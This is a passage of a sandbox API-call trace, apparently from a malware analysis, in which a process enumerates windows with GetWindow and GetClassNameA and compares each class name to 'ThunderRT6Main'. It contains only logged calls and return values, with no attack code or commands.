hWnd=0x401ba, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0156.425] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0156.425] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0156.425] GetWindow (hWnd=0x401ba, uCmd=0x2) returned 0x201b0 [0156.425] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16 [0156.425] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1 [0156.425] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.425] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0156.425] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0156.425] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0156.425] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a8 [0156.425] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.425] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.425] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0156.425] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101a6 [0156.425] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="bloggingroutesInformedwin") returned 25 [0156.425] lstrcmpA (lpString1="bloggingroutesInformedwin", lpString2="ThunderRT6Main") returned -1 [0156.425] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0156.425] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101e4 [0156.425] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0156.425] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0156.425] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.425] GetWindowLongA (hWnd=0x101e4, nIndex=-16) returned 1149272145 [0156.425] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101a4 [0156.425] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.425] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.425] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0156.425] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a2 [0156.425] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Sport_Verification_Trash_") returned 25 [0156.425] lstrcmpA (lpString1="Sport_Verification_Trash_", lpString2="ThunderRT6Main") returned -1 [0156.425] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0156.425] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0156.425] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.425] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.425] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0156.425] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0156.425] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CopyrightRegionalcls") returned 20 [0156.425] lstrcmpA (lpString1="CopyrightRegionalcls", lpString2="ThunderRT6Main") returned -1 [0156.425] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0156.425] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0156.425] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.425] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.425] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0156.426] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0156.426] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ConstraintafterwardsmardiPortugalwin") returned 36 [0156.426] lstrcmpA (lpString1="ConstraintafterwardsmardiPortugalwin", lpString2="ThunderRT6Main") returned -1 [0156.426] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0156.426] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10198 [0156.426] GetClassNameA (in: hWnd=0x10198, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.426] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.426] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0156.426] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10196 [0156.426] GetClassNameA (in: hWnd=0x10196, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="provincefiftySpankclass") returned 23 [0156.426] lstrcmpA (lpString1="provincefiftySpankclass", lpString2="ThunderRT6Main") returned -1 [0156.426] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0156.426] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10192 [0156.426] GetClassNameA (in: hWnd=0x10192, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CurrencyAppointmentswnd") returned 23 [0156.426] lstrcmpA (lpString1="CurrencyAppointmentswnd", lpString2="ThunderRT6Main") returned -1 [0156.426] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0156.426] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0156.426] GetClassNameA (in: hWnd=0x10194, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.426] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.426] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0156.426] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0156.426] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Integer_Hop_Charming_app") returned 24 [0156.426] lstrcmpA (lpString1="Integer_Hop_Charming_app", lpString2="ThunderRT6Main") returned -1 [0156.426] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0156.426] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0156.426] GetClassNameA (in: hWnd=0x10190, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.426] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.426] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0156.426] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0156.426] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="different_Executed_helicopter_government_app") returned 44 [0156.426] lstrcmpA (lpString1="different_Executed_helicopter_government_app", lpString2="ThunderRT6Main") returned -1 [0156.426] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0156.426] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0156.426] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.426] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.426] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0156.426] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0156.426] GetClassNameA (in: hWnd=0x10186, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Blanket_Si_studies_win") returned 22 [0156.426] lstrcmpA (lpString1="Blanket_Si_studies_win", lpString2="ThunderRT6Main") returned -1 [0156.426] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0156.426] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0156.426] GetClassNameA (in: hWnd=0x10188, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.426] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.426] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0156.426] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0156.426] GetClassNameA (in: hWnd=0x10182, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="cfrwnd") returned 6 [0156.426] lstrcmpA (lpString1="cfrwnd", lpString2="ThunderRT6Main") returned -1 [0156.426] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0156.426] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0156.426] GetClassNameA (in: hWnd=0x10184, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.426] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.426] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0156.427] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0156.427] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Face_cls") returned 8 [0156.427] lstrcmpA (lpString1="Face_cls", lpString2="ThunderRT6Main") returned -1 [0156.427] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0156.427] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10180 [0156.427] GetClassNameA (in: hWnd=0x10180, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.427] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.427] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0156.427] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0156.427] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="latex_fairly_Tasks_win") returned 22 [0156.427] lstrcmpA (lpString1="latex_fairly_Tasks_win", lpString2="ThunderRT6Main") returned -1 [0156.427] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0156.427] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017e [0156.427] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.427] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.427] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0156.427] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10176 [0156.427] GetClassNameA (in: hWnd=0x10176, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="listed_Specifies_Thus_Traditional_window") returned 40 [0156.427] lstrcmpA (lpString1="listed_Specifies_Thus_Traditional_window", lpString2="ThunderRT6Main") returned -1 [0156.427] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0156.427] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0156.427] GetClassNameA (in: hWnd=0x10178, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.427] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.427] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0156.427] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0156.427] GetClassNameA (in: hWnd=0x10172, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Assessapp") returned 9 [0156.427] lstrcmpA (lpString1="Assessapp", lpString2="ThunderRT6Main") returned -1 [0156.427] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0156.427] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0156.427] GetClassNameA (in: hWnd=0x10174, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.427] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.427] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0156.427] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0156.427] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DutyUsualPositioningDepartmentswnd") returned 34 [0156.427] lstrcmpA (lpString1="DutyUsualPositioningDepartmentswnd", lpString2="ThunderRT6Main") returned -1 [0156.427] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0156.427] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0156.427] GetClassNameA (in: hWnd=0x10170, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.427] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.427] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0156.427] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0156.427] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="fr_cls") returned 6 [0156.427] lstrcmpA (lpString1="fr_cls", lpString2="ThunderRT6Main") returned -1 [0156.427] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0156.427] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0156.427] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.427] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.427] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0156.427] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0156.427] GetClassNameA (in: hWnd=0x10166, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Profiles_camp_") returned 14 [0156.427] lstrcmpA (lpString1="Profiles_camp_", lpString2="ThunderRT6Main") returned -1 [0156.427] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0156.428] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0156.428] GetClassNameA (in: hWnd=0x10168, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.428] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.428] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0156.428] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0156.428] GetClassNameA (in: hWnd=0x10162, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="SheetCopiessurpluswindow") returned 24 [0156.428] lstrcmpA (lpString1="SheetCopiessurpluswindow", lpString2="ThunderRT6Main") returned -1 [0156.428] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0156.428] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0156.428] GetClassNameA (in: hWnd=0x10164, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.428] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.428] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0156.428] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0156.428] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Watch_Equation_app") returned 18 [0156.428] lstrcmpA (lpString1="Watch_Equation_app", lpString2="ThunderRT6Main") returned 1 [0156.428] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0156.428] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0156.428] GetClassNameA (in: hWnd=0x10160, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.428] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.428] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0156.428] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0156.428] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ie_wnd") returned 6 [0156.428] lstrcmpA (lpString1="ie_wnd", lpString2="ThunderRT6Main") returned -1 [0156.428] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0156.428] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0156.428] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.428] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.428] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0156.428] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x9009e [0156.428] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Outsourcing_win") returned 15 [0156.428] lstrcmpA (lpString1="Outsourcing_win", lpString2="ThunderRT6Main") returned -1 [0156.428] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0156.428] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x20156 [0156.428] GetClassNameA (in: hWnd=0x20156, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.428] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.428] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0156.428] GetWindow (hWnd=0x20156, uCmd=0x2) returned 0x50128 [0156.428] GetClassNameA (in: hWnd=0x50128, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Malta_Much_River_Citizenship_") returned 29 [0156.428] lstrcmpA (lpString1="Malta_Much_River_Citizenship_", lpString2="ThunderRT6Main") returned -1 [0156.428] GetWindowThreadProcessId (in: hWnd=0x50128, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0156.428] GetWindow (hWnd=0x50128, uCmd=0x2) returned 0x6011e [0156.428] GetClassNameA (in: hWnd=0x6011e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.428] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.428] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0156.428] GetWindow (hWnd=0x6011e, uCmd=0x2) returned 0x20020 [0156.428] GetClassNameA (in: hWnd=0x20020, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0156.428] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0156.428] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0156.428] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0156.428] GetClassNameA (in: hWnd=0x20024, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.428] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.428] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0156.428] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20022 [0156.429] GetClassNameA (in: hWnd=0x20022, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0156.429] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0156.429] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0156.429] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x2001e [0156.429] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.429] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.429] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0156.429] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20158 [0156.429] GetClassNameA (in: hWnd=0x20158, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0156.429] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0156.429] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0156.429] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x1014c [0156.429] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0156.429] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0156.429] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0156.429] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x1014a [0156.429] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0156.429] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0156.429] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0156.429] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x20140 [0156.429] GetClassNameA (in: hWnd=0x20140, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0156.429] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0156.429] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0156.429] GetWindow (hWnd=0x20140, uCmd=0x2) returned 0x10134 [0156.429] GetClassNameA (in: hWnd=0x10134, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0156.429] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0156.429] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0156.429] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10136 [0156.429] GetClassNameA (in: hWnd=0x10136, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.429] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.429] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0156.429] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x1012c [0156.429] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBBC41F0") returned 20 [0156.429] lstrcmpA (lpString1="ATL:000007FEFBBC41F0", lpString2="ThunderRT6Main") returned -1 [0156.429] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0156.429] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x1012e [0156.429] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.429] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.429] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0156.429] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x2006a [0156.429] GetClassNameA (in: hWnd=0x2006a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0156.429] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0156.429] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0156.429] GetWindow (hWnd=0x2006a, uCmd=0x2) returned 0x20068 [0156.429] GetClassNameA (in: hWnd=0x20068, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.429] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.429] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0156.429] GetWindow (hWnd=0x20068, uCmd=0x2) returned 0x20066 [0156.429] GetClassNameA (in: hWnd=0x20066, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0156.429] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0156.429] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0156.430] GetWindow (hWnd=0x20066, uCmd=0x2) returned 0x10124 [0156.430] GetClassNameA (in: hWnd=0x10124, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0156.430] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0156.430] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7bc [0156.430] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122 [0156.430] GetClassNameA (in: hWnd=0x10122, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0156.430] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0156.430] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0156.430] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011c [0156.430] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0156.430] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0156.430] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0156.430] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x10118 [0156.430] GetClassNameA (in: hWnd=0x10118, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0156.430] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0156.430] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: 